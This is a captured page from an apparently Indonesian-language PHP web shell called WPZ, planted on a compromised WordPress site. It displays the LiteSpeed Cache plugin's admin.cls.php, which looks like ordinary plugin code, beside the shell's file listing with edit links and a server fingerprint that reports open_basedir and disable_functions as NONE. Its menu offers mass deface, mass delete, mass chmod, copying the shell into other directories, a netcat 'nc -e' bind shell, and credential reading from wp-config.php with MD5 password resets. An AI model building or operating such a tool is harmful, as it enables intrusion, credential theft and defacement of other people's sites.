WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / litespeed-cache / src / [dxwrx-r--r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/wp-content/plugins/litespeed-cache/src/admin.cls.php (6.13 KB)
<?php
/**
 * The admin-panel specific functionality of the plugin.
 *
 * @since      1.0.0
 * @package    LiteSpeed_Cache
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit();

/**
 * Class Admin
 *
 * Wires admin-side hooks, actions, and safe redirects.
 */
class Admin extends Root {

	const LOG_TAG = '👮';

	const PAGE_EDIT_HTACCESS = 'litespeed-edit-htaccess';

	/**
	 * Initialize the class and set its properties.
	 * Runs in hook `after_setup_theme` when is_admin().
	 *
	 * @since 1.0.0
	 */
	public function __construct() {
		// Define LSCWP_MU_PLUGIN if in mu-plugins.
		if ( defined( 'WPMU_PLUGIN_DIR' ) && dirname( LSCWP_DIR ) === WPMU_PLUGIN_DIR && ! defined( 'LSCWP_MU_PLUGIN' ) ) {
			define( 'LSCWP_MU_PLUGIN', true );
		}

		self::debug( 'No cache due to Admin page' );

		if ( ! defined( 'DONOTCACHEPAGE' ) ) {
			define( 'DONOTCACHEPAGE', true );
		}

		// Additional LiteSpeed assets on admin display (also registers menus).
		$this->cls( 'Admin_Display' );

		// Initialize admin actions.
		add_action( 'admin_init', [ $this, 'admin_init' ] );

		// Add link to plugin list page.
		add_filter(
			'plugin_action_links_' . LSCWP_BASENAME,
			[ $this->cls( 'Admin_Display' ), 'add_plugin_links' ]
		);
	}

	/**
	 * Callback that initializes the admin options for LiteSpeed Cache.
	 *
	 * @since 1.0.0
	 * @return void
	 */
	public function admin_init() {
		// Hook to reset optimization data when image is replaced.
		add_filter( 'wp_generate_attachment_metadata', [ $this, 'wp_generate_attachment_metadata' ], 10, 3 );

		// Hook attachment upload auto optimization.
		if ( $this->conf( Base::O_IMG_OPTM_AUTO ) ) {
			add_filter( 'wp_update_attachment_metadata', [ $this, 'wp_update_attachment_metadata' ], 9999, 2 );
		}

		$this->_proceed_admin_action();

		// Terminate if user doesn't have access to settings.
		$capability = is_network_admin() ? 'manage_network_options' : 'manage_options';
		if ( ! current_user_can( $capability ) ) {
			return;
		}

		// Add privacy policy (since 2.2.6).
		if ( function_exists( 'wp_add_privacy_policy_content' ) ) {
			wp_add_privacy_policy_content( Core::NAME, Doc::privacy_policy() );
		}

		$this->cls( 'Media' )->after_admin_init();

		do_action( 'litespeed_after_admin_init' );

		if ( $this->cls( 'Router' )->esi_enabled() ) {
			add_action( 'in_widget_form', [ $this->cls( 'Admin_Display' ), 'show_widget_edit' ], 100, 3 );
			add_filter( 'widget_update_callback', __NAMESPACE__ . '\Admin_Settings::validate_widget_save', 10, 4 );
		}
	}

	/**
	 * Handle attachment metadata generation.
	 * Reset optimization data if this is a replaced image (has existing optimization records).
	 *
	 * @since 7.8
	 *
	 * @param array  $metadata      Attachment metadata.
	 * @param int    $attachment_id Attachment ID.
	 * @param string $context       Context: 'create' or 'update'.
	 * @return array Filtered metadata.
	 */
	public function wp_generate_attachment_metadata( $metadata, $attachment_id, $context = 'create' ) {
		// Only process on 'create' context (replacement also uses 'create')
		if ( 'create' !== $context ) {
			return $metadata;
		}

		$img_optm = $this->cls( 'Img_Optm' );

		// Check if has existing optimization records, if so it's a replacement
		if ( $img_optm->has_optm_record( $attachment_id, $metadata ) ) {
			self::debug( 'Image replaced, resetting optimization data [pid] ' . $attachment_id );
			$img_optm->reset_row( $attachment_id, true );
		}

		return $metadata;
	}

	/**
	 * Handle attachment metadata update.
	 *
	 * @since 4.0
	 *
	 * @param array $data    Attachment meta.
	 * @param int   $post_id Attachment ID.
	 * @return array Filtered meta.
	 */
	public function wp_update_attachment_metadata( $data, $post_id ) {
		$this->cls( 'Img_Optm' )->wp_update_attachment_metadata( $data, $post_id );
		return $data;
	}

	/**
	 * Run LiteSpeed admin actions routed via Router.
	 *
	 * @since 1.1.0
	 * @return void
	 */
	private function _proceed_admin_action() {
		$action = Router::get_action();

		switch ( $action ) {
			case Router::ACTION_SAVE_SETTINGS:
				$this->cls( 'Admin_Settings' )->save( wp_unslash( $_POST ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
				break;

			case Router::ACTION_SAVE_SETTINGS_NETWORK:
				$this->cls( 'Admin_Settings' )->network_save( wp_unslash( $_POST ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
				break;

			default:
				break;
		}
	}

	/**
	 * Clean up the input (array or scalar) of any extra slashes/spaces.
	 *
	 * @since 1.0.4
	 *
	 * @param mixed $input The input value to clean.
	 * @return mixed Cleaned value.
	 */
	public static function cleanup_text( $input ) {
		if ( is_array( $input ) ) {
			return array_map( __CLASS__ . '::cleanup_text', $input );
		}

		return stripslashes(trim($input));
	}

	/**
	 * After a LSCWP_CTRL action, redirect back to same page
	 * without nonce and action in the query string.
	 *
	 * If the redirect URL cannot be determined, redirects to the homepage.
	 *
	 * @since 1.0.12
	 *
	 * @param string|false $url Optional destination URL.
	 * @return void
	 */
	public static function redirect( $url = false ) {
		global $pagenow;

		// If originated, go back to referrer or home.
		if ( ! empty( $_GET['_litespeed_ori'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
			$ref = wp_get_referer();
			wp_safe_redirect( $ref ? $ref : get_home_url() );
			exit;
		}

		if ( ! $url ) {
			$clean = [];

			// Sanitize current query args while removing our internals.
			if ( ! empty( $_GET ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
				foreach ( $_GET as $k => $v ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
					if ( in_array( $k, [ Router::ACTION, Router::NONCE, Router::TYPE, 'litespeed_i', 'litespeed_tb' ], true ) ) {
						continue;
					}
					// Normalize to string for URL building.
					$clean[ $k ] = is_array( $v ) ? array_map( 'sanitize_text_field', wp_unslash( $v ) ) : sanitize_text_field( wp_unslash( $v ) );
				}
			}

			$qs = '';
			if ( ! empty( $clean ) ) {
				$qs = '?' . http_build_query( $clean );
			}

			$url = is_network_admin() ? network_admin_url( $pagenow . $qs ) : admin_url( $pagenow . $qs );
		}

		wp_safe_redirect( $url );
		exit;
	}
}
namawaktuukuranownerpermaksi
..
cdn/ 2026-06-06 16:1811.25 KB 76129f60960:kundendxwrx-r--r
data_structure/ 2026-06-06 16:182.62 KB 76129f60960:kundendxwrx-r--r
activation.cls.php 2026-06-06 16:1817.31 KB 76129f60960:kunden-xw-x-----
edt
admin-display.cls.php 2026-06-06 16:1848.47 KB 76129f60960:kunden-xw-x-----
edt
admin-settings.cls.php 2026-06-06 16:1811.12 KB 76129f60960:kunden-xw-x-----
edt
admin.cls.php 2026-06-06 16:186.13 KB 76129f60960:kunden-xw-x-----
edt
api.cls.php 2026-06-06 16:1810.36 KB 76129f60960:kunden-xw-x-----
edt
avatar.cls.php 2026-06-06 16:188.65 KB 76129f60960:kunden-xw-x-----
edt
base.cls.php 2026-06-06 16:1837.66 KB 76129f60960:kunden-xw-x-----
edt
cdn.cls.php 2026-06-06 16:1815.92 KB 76129f60960:kunden-xw-x-----
edt
cloud-auth-callback.trait.php 2026-06-06 16:1810.43 KB 76129f60960:kunden-xw-x-----
edt
cloud-auth-ip.trait.php 2026-06-06 16:184.33 KB 76129f60960:kunden-xw-x-----
edt
cloud-auth.trait.php 2026-06-06 16:189.38 KB 76129f60960:kunden-xw-x-----
edt
cloud-misc.trait.php 2026-06-06 16:1810.32 KB 76129f60960:kunden-xw-x-----
edt
cloud-node.trait.php 2026-06-06 16:185.95 KB 76129f60960:kunden-xw-x-----
edt
cloud-request.trait.php 2026-06-06 16:1819.68 KB 76129f60960:kunden-xw-x-----
edt
cloud.cls.php 2026-06-06 16:187.32 KB 76129f60960:kunden-xw-x-----
edt
conf.cls.php 2026-06-06 16:1819.53 KB 76129f60960:kunden-xw-x-----
edt
control.cls.php 2026-06-06 16:1824.35 KB 76129f60960:kunden-xw-x-----
edt
core.cls.php 2026-06-06 16:1820.97 KB 76129f60960:kunden-xw-x-----
edt
crawler-map.cls.php 2026-06-06 16:1819.41 KB 76129f60960:kunden-xw-x-----
edt
crawler.cls.php 2026-06-06 16:1844.72 KB 76129f60960:kunden-xw-x-----
edt
css.cls.php 2026-06-06 16:1817.77 KB 76129f60960:kunden-xw-x-----
edt
data.cls.php 2026-06-06 16:1822.21 KB 76129f60960:kunden-xw-x-----
edt
data.upgrade.func.php 2026-06-06 16:185.72 KB 76129f60960:kunden-xw-x-----
edt
db-optm.cls.php 2026-06-06 16:1815.35 KB 76129f60960:kunden-xw-x-----
edt
debug2.cls.php 2026-06-06 16:1818.4 KB 76129f60960:kunden-xw-x-----
edt
doc.cls.php 2026-06-06 16:185.45 KB 76129f60960:kunden-xw-x-----
edt
error.cls.php 2026-06-06 16:187.35 KB 76129f60960:kunden-xw-x-----
edt
esi.cls.php 2026-06-06 16:1827.18 KB 76129f60960:kunden-xw-x-----
edt
file.cls.php 2026-06-06 16:1810.57 KB 76129f60960:kunden-xw-x-----
edt
guest.cls.php 2026-06-06 16:182.75 KB 76129f60960:kunden-xw-x-----
edt
gui.cls.php 2026-06-06 16:1836.57 KB 76129f60960:kunden-xw-x-----
edt
health.cls.php 2026-06-06 16:182.83 KB 76129f60960:kunden-xw-x-----
edt
htaccess.cls.php 2026-06-06 16:1829.81 KB 76129f60960:kunden-xw-x-----
edt
img-optm-manage.trait.php 2026-06-06 16:1830.85 KB 76129f60960:kunden-xw-x-----
edt
img-optm-pull.trait.php 2026-06-06 16:1822.1 KB 76129f60960:kunden-xw-x-----
edt
img-optm-send.trait.php 2026-06-06 16:1821.9 KB 76129f60960:kunden-xw-x-----
edt
img-optm.cls.php 2026-06-06 16:185.26 KB 76129f60960:kunden-xw-x-----
edt
import.cls.php 2026-06-06 16:184.29 KB 76129f60960:kunden-xw-x-----
edt
import.preset.cls.php 2026-06-06 16:185.5 KB 76129f60960:kunden-xw-x-----
edt
lang.cls.php 2026-06-06 16:1817.02 KB 76129f60960:kunden-xw-x-----
edt
localization.cls.php 2026-06-06 16:184.03 KB 76129f60960:kunden-xw-x-----
edt
media.cls.php 2026-06-06 16:1844.08 KB 76129f60960:kunden-xw-x-----
edt
metabox.cls.php 2026-06-06 16:185.29 KB 76129f60960:kunden-xw-x-----
edt
object-cache-wp.cls.php 2026-06-06 16:1818.82 KB 76129f60960:kunden-xw-x-----
edt
object-cache.cls.php 2026-06-06 16:1820.95 KB 76129f60960:kunden-xw-x-----
edt
object.lib.php 2026-06-06 16:1814.16 KB 76129f60960:kunden-xw-x-----
edt
optimize.cls.php 2026-06-06 16:1838.64 KB 76129f60960:kunden-xw-x-----
edt
optimizer.cls.php 2026-06-06 16:1810.5 KB 76129f60960:kunden-xw-x-----
edt
placeholder.cls.php 2026-06-06 16:1817.93 KB 76129f60960:kunden-xw-x-----
edt
purge.cls.php 2026-06-06 16:1834.41 KB 76129f60960:kunden-xw-x-----
edt
report.cls.php 2026-06-06 16:186.12 KB 76129f60960:kunden-xw-x-----
edt
rest.cls.php 2026-06-06 16:189.08 KB 76129f60960:kunden-xw-x-----
edt
root.cls.php 2026-06-06 16:1814.29 KB 76129f60960:kunden-xw-x-----
edt
router.cls.php 2026-06-06 16:1820.76 KB 76129f60960:kunden-xw-x-----
edt
str.cls.php 2026-06-06 16:183.08 KB 76129f60960:kunden-xw-x-----
edt
tag.cls.php 2026-06-06 16:189.26 KB 76129f60960:kunden-xw-x-----
edt
task.cls.php 2026-06-06 16:187.05 KB 76129f60960:kunden-xw-x-----
edt
tool.cls.php 2026-06-06 16:184.17 KB 76129f60960:kunden-xw-x-----
edt
ucss.cls.php 2026-06-06 16:1816.35 KB 76129f60960:kunden-xw-x-----
edt
utility.cls.php 2026-06-06 16:1826.01 KB 76129f60960:kunden-xw-x-----
edt
vary.cls.php 2026-06-06 16:1821.33 KB 76129f60960:kunden-xw-x-----
edt
vpi.cls.php 2026-06-06 16:189.38 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/wp-content/plugins/litespeed-cache/src
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK